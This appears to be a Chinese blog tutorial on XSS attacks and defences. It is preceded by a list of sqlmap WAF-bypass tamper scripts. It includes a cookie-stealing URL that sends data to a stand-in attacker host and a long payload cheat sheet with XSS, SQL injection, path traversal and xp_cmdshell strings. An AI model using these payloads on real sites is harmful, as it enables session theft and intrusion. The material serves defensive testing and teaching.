14. ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
15. lowercase.py 用小写值替换每个关键字字符
16. modsecurityversioned.py 用注释包围完整的查询
17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
18. multiplespaces.py 在SQL关键字周围添加多个空格
19. nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
20. overlongutf8.py 转换给定的payload当中的所有字符
21. percentage.py 在每个字符之前添加一个百分号
22. randomcase.py 随机转换每个关键字字符的大小写
23. randomcomments.py 向SQL关键字中插入随机注释
24. securesphere.py 添加经过特殊构造的字符串
25. sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
26. space2comment.py 用“/**/”替换空格符
27. space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
28. space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
29. space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
31. space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
33. space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符
34. space2plus.py 用加号“+”替换空格符
35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
36. unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
37. unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
38. varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
39. versionedkeywords.py 用MySQL注释包围每个非函数关键字
40. versionedmorekeywords.py 用MySQL注释包围每个关键字
41. xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防 代码人生
定义(来自百度百科):
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:
这是获取一个网站管理员的cookies
这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。
下面就具体的分析一下是如何形成并且发生的:
假如有下面一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代码将会被执行
或者用户输入的是 "onfocus="alert(document.cookie) 那么就会变成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被触发的时候嵌入的JavaScript代码将会被执行
攻击的威力,取决于用户输入了什么样的脚本
当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图
XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。
在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
XSS 攻击场景:
1. Dom-Based XSS 漏洞 攻击过程如下
Tom 发现了Victim.com中的一个页面有XSS漏洞,
例如: http://victim.com/search.asp?term=apple
服务器中Search.asp 页面的代码大概如下
<html> <title></title> <body> Results for <%Reequest.QueryString("term")%> ... </body> </html>
Tom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.
2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下
Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,
Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。
其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。
Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.
XSS 漏洞修复:
原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
- 对数据进行Html Encode 处理
- 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
- 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
- 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。
如何测试XSS漏洞?
方法一: 查看代码,查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie. 例如在ASP的程序中,通过Request对象获取客户端的变量
<% strUserCode = Request.QueryString(“code”); strUser = Request.Form(“USER”); strID = Request.Cookies(“ID”); %>
假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞
方法二: 准备测试脚本,
"/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "onclick="alert(document.cookie)
在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞
在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行
方法三: 自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。
附上一些常用的XSS测试代码:
"/><script>alert("测试一下,哈哈")</script><!- ‘><script>alert(document.cookie)</script> =’><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert(‘XSS’)%3C/script%3E <script>alert(‘XSS’)</script> <img src=”javascript:alert(‘XSS’)”> %0a%0a<script>alert(\”Vulnerable\”)</script>.jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html %3f.jsp %3f.jsp <script>alert(‘Vulnerable’);</script> <script>alert(‘Vulnerable’)</script> ?sql_debug=1 a%5c.aspx a.jsp/<script>alert(‘Vulnerable’)</script> a/ a?<script>alert(‘Vulnerable’)</script> “><script>alert(‘Vulnerable’)</script> ‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini ”;!–“<XSS>=&{()} <IMG src=”javascript:alert(‘XSS’);”> <IMG src=javascript:alert(‘XSS’)> <IMG src=JaVaScRiPt:alert(‘XSS’)> <IMG src=JaVaScRiPt:alert(“XSS”)> <IMG src=javascript:alert(‘XSS’)> <IMG src=javascript:alert(‘XSS’)> <IMG src=javascript:alert('XSS')> <IMG src=”jav ascript:alert(‘XSS’);”> <IMG src=”jav ascript:alert(‘XSS’);”> <IMG src=”jav ascript:alert(‘XSS’);”> “<IMG src=java\0script:alert(\”XSS\”)>”;’ > out <IMG src=” javascript:alert(‘XSS’);”> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND=”javascript:alert(‘XSS’)”> <BODY ONLOAD=alert(‘XSS’)> <IMG DYNSRC=”javascript:alert(‘XSS’)”> <IMG LOWSRC=”javascript:alert(‘XSS’)”> <BGSOUND src=”javascript:alert(‘XSS’);”> <br size=”&{alert(‘XSS’)}”> <LAYER src=”http://www.testsite.com/a.js”></layer> <LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”> <IMG src=’vbscript:msgbox(“XSS”)’> <IMG src=”mocha:”> <IMG src=”livescript:”> <META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”> <IFRAME src=javascript:alert(‘XSS’)></IFRAME> <FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET> <TABLE BACKGROUND=”javascript:alert(‘XSS’)”> <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> <DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”> <DIV STYLE=”width: expression(alert(‘XSS’));”> <STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE> <IMG STYLE=’xss:expre\ssion(alert(“XSS”))’> <STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE> <STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A> <STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> <BASE href=”javascript:alert(‘XSS’);//”> getURL(“javascript:alert(‘XSS’)”) a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d); <XML src=”javascript:alert(‘XSS’);”> “> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“ <SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT> <IMG src=”javascript:alert(‘XSS’)” <!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–> <IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”> <SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT> <SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT> <SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT> <SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT> <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT> <A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A> admin’– ‘ or 0=0 — ” or 0=0 — or 0=0 — ‘ or 0=0 # ” or 0=0 # or 0=0 # ‘ or ‘x’=’x ” or “x”=”x ‘) or (‘x’=’x ‘ or 1=1– ” or 1=1– or 1=1– ‘ or a=a– ” or “a”=”a ‘) or (‘a’=’a “) or (“a”=”a hi” or “a”=”a hi” or 1=1 — hi’ or 1=1 — hi’ or ‘a’=’a hi’) or (‘a’=’a hi”) or (“a”=”a
HTML Encode 和URL Encode的区别
刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。
HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。
例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)
在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
浏览器中的XSS过滤器
为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图
如果需要做测试, 最好使用IE7-。
ASP.NET中的XSS安全机制
ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图
很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。
如果想禁止这个安全特性, 可以通过 <%@ Page validateRequest=“false" %>
想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss
参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html